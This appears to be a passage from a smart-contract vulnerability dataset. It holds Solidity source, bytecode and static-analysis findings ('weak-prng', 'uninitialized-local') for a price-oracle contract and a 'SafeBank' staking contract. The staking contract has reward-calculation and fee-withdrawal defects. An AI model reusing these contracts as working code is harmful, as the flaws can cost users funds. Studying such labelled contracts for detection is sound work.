if (timeElapsed > 0) {
lastAveragePrice = currentPrice.sub(lastCumulativePrice).div(timeElapsed);
lastPriceUpdateTime = currentBlockTimestamp;
lastCumulativePrice = currentPrice;
}
}
function setIncomePerSecInWei(uint256 _incomePerSecInWei) external onlyParamSetter {
_setIncomePerSecInWei(_incomePerSecInWei);
notifyListeners();
}
function setIncomePerSecInWeiAndUpdatePrice(uint256 _incomePerSecInWei) external onlyParamSetter{
_setIncomePerSecInWei(_incomePerSecInWei);
_updatePrice();
notifyListeners();
}
function _setIncomePerSecInWei(uint256 _incomePerSecInWei) internal {
incomePerSecInWei = _incomePerSecInWei;
}
function addListener(address _listener) external onlyParamSetter {
for (uint i=0; i<paramListeners.length; i++){
address listener = paramListeners[i];
require(listener != _listener, 'listener already added.');
}
paramListeners.push(_listener);
}
function removeListener(address _listener) external onlyParamSetter returns(bool ){
for (uint i=0; i<paramListeners.length; i++){
address listener = paramListeners[i];
if (listener == _listener) {
delete paramListeners[i];
return true;
}
}
return false;
}
function notifyListeners() internal {
for (uint i=0; i<paramListeners.length; i++){
address listener = paramListeners[i];
if (listener != address(0)) {
IPOWToken(listener).updateIncomeRate();
}
}
}
function incomeAssetPrice() external view returns (uint256) {
return lastAveragePrice.mul(10**12).div(2**112);
}
/* ========== MODIFIERS ========== */
modifier onlyOwner() {
require(msg.sender == owner, "!owner");
_;
}
modifier onlyParamSetter() {
require(msg.sender == paramSetter, "!paramSetter");
_;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ParamSetterChanged(address indexed previousSetter, address indexed newSetter);
} | 0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063958fef7c116100a2578063c9f97c7c11610071578063c9f97c7c146103c9578063d5b5025214610463578063da201248146104a7578063eb6ee0a1146104c5578063f2fde38b1461050f57610116565b8063958fef7c146102c15780639bc5741f1461030b578063aa3166b414610367578063b21187e2146103ab57610116565b806353bfe633116100e957806353bfe633146101b3578063621ca35e146101bd5780636d9bd664146101db578063853771a2146102495780638da5cb5b1461027757610116565b8063080a906e1461011b5780632bbfc7621461013d57806337bc863c1461016b57806349b9a7af14610189575b600080fd5b610123610553565b604051808215151515815260200191505060405180910390f35b6101696004803603602081101561015357600080fd5b8101908080359060200190929190505050610566565b005b610173610645565b6040518082815260200191505060405180910390f35b61019161064b565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b6101bb610661565b005b6101c5610736565b6040518082815260200191505060405180910390f35b610207600480360360208110156101f157600080fd5b8101908080359060200190929190505050610778565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102756004803603602081101561025f57600080fd5b81019080803590602001909291905050506107b4565b005b61027f61088b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102c96108b1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61034d6004803603602081101561032157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108d7565b604051808215151515815260200191505060405180910390f35b6103a96004803603602081101561037d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a7d565b005b6103b3610ca3565b6040518082815260200191505060405180910390f35b610461600480360360a08110156103df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610ca9565b005b6104a56004803603602081101561047957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1e565b005b6104af61114a565b6040518082815260200191505060405180910390f35b6104cd611150565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105516004803603602081101561052557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611176565b005b600360149054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f21706172616d536574746572000000000000000000000000000000000000000081525060200191505060405180910390fd5b6106328161139c565b61063a6113a6565b610642611481565b50565b60045481565b600360159054906101000a900463ffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f21706172616d536574746572000000000000000000000000000000000000000081525060200191505060405180910390fd5b61072c6113a6565b610734611481565b565b60006107736e01000000000000000000000000000061076564e8d4a5100060055461157690919063ffffffff16565b6115fc90919063ffffffff16565b905090565b6006818154811061078557fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f21706172616d536574746572000000000000000000000000000000000000000081525060200191505060405180910390fd5b6108808161139c565b610888611481565b50565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f21706172616d536574746572000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b600680549050811015610a72576000600682815481106109be57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a645760068281548110610a2c57fe5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600192505050610a78565b5080806001019150506109a2565b50600090505b919050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610be3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f706172616d2073657474657220697320746865207a65726f206164647265737381525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fbdb27c45e7cebea53416bc78c5bfc5014c1efa4cfd3a2cc9398aeb9aaa617fb560405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60025481565b6000809054906101000a900460ff1615610d2b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f616c726561647920696e697469616c697a65640000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610dce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f6e6577206f776e657220697320746865207a65726f206164647265737300000081525060200191505060405180910390fd5b60016000806101000a81548160ff02191690831515021790555084600060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260028190555081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360146101000a81548160ff0219169083151502179055506000806000610eda85611646565b92509250925080600360156101000a81548163ffffffff021916908363ffffffff16021790555083610f0c5781610f0e565b825b6004819055505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fe1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f21706172616d536574746572000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b6006805490508110156110e05760006006828154811061100357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f6c697374656e657220616c72656164792061646465642e00000000000000000081525060200191505060405180910390fd5b508080600101915050610fe7565b5060068190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611239576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112dc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f6e6577206f776e657220697320746865207a65726f206164647265737300000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b8060028190555050565b60008060006113d6600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611646565b9250925092506000600360149054906101000a900460ff166113f857826113fa565b835b90506000600360159054906101000a900463ffffffff16830363ffffffff169050600081111561147a5761144b8161143d6004548561189190919063ffffffff16565b6115fc90919063ffffffff16565b60058190555082600360156101000a81548163ffffffff021916908363ffffffff160217905550816004819055505b5050505050565b60008090505b600680549050811015611573576000600682815481106114a357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611565578073ffffffffffffffffffffffffffffffffffffffff16631b75fbe86040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561154c57600080fd5b505af1158015611560573d6000803e3d6000fd5b505050505b508080600101915050611487565b50565b60008083141561158957600090506115f6565b600082840290508284828161159a57fe5b04146115f1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611bd86021913960400191505060405180910390fd5b809150505b92915050565b600061163e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118db565b905092915050565b60008060006116536119a1565b90508373ffffffffffffffffffffffffffffffffffffffff16635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b15801561169b57600080fd5b505afa1580156116af573d6000803e3d6000fd5b505050506040513d60208110156116c557600080fd5b810190808051906020019092919050505092508373ffffffffffffffffffffffffffffffffffffffff16635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b15801561171e57600080fd5b505afa158015611732573d6000803e3d6000fd5b505050506040513d602081101561174857600080fd5b8101908080519060200190929190505050915060008060008673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156117a657600080fd5b505afa1580156117ba573d6000803e3d6000fd5b505050506040513d60608110156117d057600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050509250925092508363ffffffff168163ffffffff161461188757600081850390508063ffffffff1661182684866119b7565b600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1602870196508063ffffffff1661185e85856119b7565b600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff160286019550505b5050509193909250565b60006118d383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ae6565b905092915050565b60008083118290611987576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561194c578082015181840152602081019050611931565b50505050905090810190601f1680156119795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161199357fe5b049050809150509392505050565b600064010000000042816119b157fe5b06905090565b6119bf611ba6565b6000826dffffffffffffffffffffffffffff1611611a45576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4669786564506f696e743a204449565f42595f5a45524f00000000000000000081525060200191505060405180910390fd5b6040518060200160405280836dffffffffffffffffffffffffffff16607060ff16866dffffffffffffffffffffffffffff167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16901b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681611abc57fe5b047bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250905092915050565b6000838311158290611b93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b58578082015181840152602081019050611b3d565b50505050905090810190601f168015611b855780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a72315820a2dd2a79ed37c11b04c4e62f40eeef787c22c392b00da2c1b30acad76e528b5164736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 911 |
0xb5b81f6c0746e3121f3972d96eff99afbc7b9ad1 | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.5.9;
// ----------------------------------------------------------------------------
// 'SafeBank' Staking smart contract
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface sBANK {
function balanceOf(address _owner) view external returns (uint256 balance);
// function transfer(address _to, uint256 _value) public returns (bool success);
// function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
// function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) view external returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// function transfer(address _to, uint256 _amount) external returns (bool success);
function transfer(address _to, uint256 _amount) external returns (bool success);
function transferFrom(address _from,address _to,uint256 _amount) external returns (bool success);
function approve(address _to, uint256 _amount) external returns (bool success);
// function balanceOf(address _owner) external view returns (uint256 balance);
function _mint(address account, uint256 amount) external ;
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Stake is Owned {
using SafeMath for uint256;
address contractAddress;
uint256 public WeekRewardPercent = 200;
uint256 public TotalStakedOMB = 0;
uint256 StakingFee = 10;
uint256 UnstakingFee = 10;
uint256 private TeamFeesCollector = 0;
uint256 private FeesCollectedForJustwap = 0;
sBANK public tokenInstance;
sBANK public rewardTkn;
struct USER{
uint256 stakedAmount;
uint256 reward;
uint256 creationTime;
uint256 TotalOMBRewarded;
}
mapping(address => USER) public stakers;
mapping(address=>uint256) public amounts;
event STAKED(address staker, uint256 tokens, uint256 StakingFee);
event UNSTAKED(address staker, uint256 tokens, uint256 UnstakingFee);
event CLAIMEDREWARD(address staker, uint256 reward);
event PERCENTCHANGED(address operator, uint256 percent);
event FkTake(uint256 amount);
event JkTake(uint256 amount);
constructor(address payable tokenAddress, address payable rewardToken) public{
tokenInstance=sBANK(tokenAddress);
rewardTkn=sBANK(rewardToken);
contractAddress=tokenAddress;
}
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(tokenInstance.transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
uint256 _stakingFee = 0;
if(TotalStakedOMB > 0)
_stakingFee= (onePercentofTokens(tokens).mul(StakingFee)).div(10);
if(amounts[msg.sender]>0)
{
uint256 time = now - stakers[msg.sender].creationTime;
uint256 daysCount = time.div(86400);
if(daysCount>0)
{
uint256 owing = (amounts[msg.sender]).mul(daysCount);
stakers[msg.sender].reward = (stakers[msg.sender].reward).add(owing);
}
}
stakers[msg.sender].stakedAmount = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedAmount);
stakers[msg.sender].creationTime = now;
TotalStakedOMB = TotalStakedOMB.add(tokens.sub(_stakingFee));
uint256 percal = calPercentofTokens(stakers[msg.sender].stakedAmount,WeekRewardPercent);
amounts[msg.sender] = percal;
TeamFeesCollector = TeamFeesCollector.add(_stakingFee);
emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee);
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
uint256 time = now - stakers[msg.sender].creationTime;
uint256 daysCount = time.div(86400);
if(daysCount > 0)
{
uint256 owing=0;
if(amounts[msg.sender]>0)
{
uint a = daysCount * 86400;
a = time.sub(a);
owing = (amounts[msg.sender]).mul(daysCount);
if(a!=0)
owing = (owing.mul(a)).div(86400);
if(stakers[msg.sender].reward >0)
{
owing = owing.add(stakers[msg.sender].reward);
}
}
else
{
if(stakers[msg.sender].reward > 0)
{
owing = stakers[msg.sender].reward;
}else{
revert("No reward");
}
}
require(rewardTkn.transfer(msg.sender,owing), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].TotalOMBRewarded = (stakers[msg.sender].TotalOMBRewarded).add(owing);
stakers[msg.sender].creationTime = now;
stakers[msg.sender].reward = 0;
}else
{
uint256 owing=0;
if(amounts[msg.sender]>0)
{
owing = ((amounts[msg.sender]).mul(time)).div(time);
if(stakers[msg.sender].reward >0)
{
owing = owing.add(stakers[msg.sender].reward);
}
}
else
{
if(stakers[msg.sender].reward > 0)
{
owing = stakers[msg.sender].reward;
}else{
revert("No reward");
}
}
require(rewardTkn.transfer(msg.sender,owing), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].TotalOMBRewarded = (stakers[msg.sender].TotalOMBRewarded).add(owing);
stakers[msg.sender].creationTime = now;
stakers[msg.sender].reward = 0;
}
}
function calculateReward(address user) public view returns(uint256 result){
uint256 time = block.timestamp - stakers[user].creationTime;
uint256 daysCount = time.div(86400);
if(daysCount > 0)
{
uint256 owing=0;
if(amounts[user]>0)
{
uint256 a = daysCount * 86400;
a = time.sub(a);
owing = (amounts[user]).mul(daysCount);
if(a!=0)
owing = (owing.mul(a)).div(86400);
if(stakers[user].reward >0)
{
owing = owing.add(stakers[user].reward);
}
}
else
{
if(stakers[user].reward > 0)
{
owing = stakers[user].reward;
}else{
owing = 0;
}
}
return owing;
}
else
{
uint256 owing=0;
if(amounts[user]>0)
{
owing = ((amounts[user]).mul(time)).div(86400);
if(stakers[user].reward >0)
{
owing = owing.add(stakers[user].reward);
}
}
else
{
if(stakers[user].reward > 0)
{
owing = stakers[user].reward;
}else{
owing = 0;
}
}
return owing;
}
}
function WITHDRAW(uint256 tokens) external {
require(stakers[msg.sender].stakedAmount >= tokens && tokens > 0, "Invalid token amount to withdraw");
uint256 _unstakingFee = (onePercentofTokens(tokens).mul(UnstakingFee)).div(10);
if(amounts[msg.sender]>0)
{
uint256 time = now - stakers[msg.sender].creationTime;
uint256 daysCount = time.div(86400);
if(daysCount>0)
{
uint256 owing = (amounts[msg.sender]).mul(daysCount);
stakers[msg.sender].reward = (stakers[msg.sender].reward).add(owing);
}
}
require(tokenInstance.transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
stakers[msg.sender].stakedAmount = stakers[msg.sender].stakedAmount.sub(tokens);
if(stakers[msg.sender].stakedAmount == 0)
{
stakers[msg.sender].creationTime = 0;
amounts[msg.sender] = 0;
}else{
uint256 percal = calPercentofTokens(stakers[msg.sender].stakedAmount,WeekRewardPercent);
amounts[msg.sender] = percal;
}
TotalStakedOMB = TotalStakedOMB.sub(tokens);
FeesCollectedForJustwap =FeesCollectedForJustwap.add(_unstakingFee);
emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercentofTokens(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofToken = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofToken;
}
function calPercentofTokens(uint256 _tokens, uint256 cust) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint256 custPercentofTokens = roundValue.mul(cust).div(100 * 10**uint(2));
return custPercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedOMB(address staker) external view returns(uint256 stakedOMB){
return stakers[staker].stakedAmount;
}
// ------------------------------------------------------------------------
// Get the SNTM balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourOMBBalance(address user) external view returns(uint256 OMBBalance){
return tokenInstance.balanceOf(user);
}
function setPercent(uint256 percent) public onlyOwner {
if(percent >= 1)
{
WeekRewardPercent = percent;
emit PERCENTCHANGED(msg.sender, percent);
}
}
function OwnerTeamFeesCollectorRead() external view returns(uint256 jKeeper) {
return TeamFeesCollector;
}
function OwnerFeesCollectedForJustwapRead() external view returns(uint256 Fkeeper) {
return FeesCollectedForJustwap;
}
function OwnerFKtake() external onlyOwner{
address payable r=owner;
r.transfer(TeamFeesCollector);
TeamFeesCollector = 0;
emit FkTake(TeamFeesCollector);
}
function OwnerJustSwaptake() external onlyOwner{
address payable r=owner;
r.transfer(FeesCollectedForJustwap);
FeesCollectedForJustwap = 0;
emit JkTake(FeesCollectedForJustwap);
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806383185e7c116100ad578063b290c13511610071578063b290c1351461028e578063ba60bcf414610296578063ca84d5911461029e578063d82e3962146102bb578063f2fde38b146102e157610121565b806383185e7c146102045780638da5cb5b1461020c5780638e0d1ed6146102145780639168ae721461021c578063b1efd5141461026857610121565b80634baf782e116100f45780634baf782e1461018d57806355a3b2c114610195578063658030b3146101bb5780636949e43b146101df5780637154b8b5146101e757610121565b80631eb23686146101265780632bdd136e1461015e5780632c75bcda146101685780633047879614610185575b600080fd5b61014c6004803603602081101561013c57600080fd5b50356001600160a01b0316610307565b60408051918252519081900360200190f35b610166610326565b005b6101666004803603602081101561017e57600080fd5b50356103b7565b6101666106ff565b610166610790565b61014c600480360360208110156101ab57600080fd5b50356001600160a01b0316610c13565b6101c3610c25565b604080516001600160a01b039092168252519081900360200190f35b61014c610c34565b610166600480360360208110156101fd57600080fd5b5035610c3a565b61014c610c9d565b6101c3610ca3565b6101c3610cb2565b6102426004803603602081101561023257600080fd5b50356001600160a01b0316610cc1565b604080519485526020850193909352838301919091526060830152519081900360800190f35b61014c6004803603602081101561027e57600080fd5b50356001600160a01b0316610ce8565b61014c610d6b565b61014c610d71565b610166600480360360208110156102b457600080fd5b5035610d77565b61014c600480360360208110156102d157600080fd5b50356001600160a01b0316611014565b610166600480360360208110156102f757600080fd5b50356001600160a01b0316611221565b6001600160a01b0381166000908152600a60205260409020545b919050565b6000546001600160a01b0316331461033d57600080fd5b600080546007546040516001600160a01b0390921692839282156108fc029291818181858888f1935050505015801561037a573d6000803e3d6000fd5b506000600781905560408051918252517f28a6b389efd3e085335ec0e754e28e680494890456593827ce0460bbee041e2c9181900360200190a150565b336000908152600a602052604090205481118015906103d65750600081115b610427576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b6000610455600a61044960055461043d86611283565b9063ffffffff6112ba16565b9063ffffffff61131c16565b336000908152600b6020526040902054909150156104fc57336000908152600a6020526040812060020154420390610496826201518063ffffffff61131c16565b905080156104f957336000908152600b60205260408120546104be908363ffffffff6112ba16565b336000908152600a60205260409020600101549091506104e4908263ffffffff61135e16565b336000908152600a6020526040902060010155505b50505b6008546001600160a01b031663a9059cbb3361051e858563ffffffff6113b816565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561056d57600080fd5b505af1158015610581573d6000803e3d6000fd5b505050506040513d602081101561059757600080fd5b50516105ea576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b336000908152600a602052604090205461060a908363ffffffff6113b816565b336000908152600a6020526040902081905561064557336000908152600a60209081526040808320600201839055600b909152812055610674565b336000908152600a602052604081205460025461066291906113fa565b336000908152600b6020526040902055505b600354610687908363ffffffff6113b816565b60035560075461069d908263ffffffff61135e16565b6007557faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc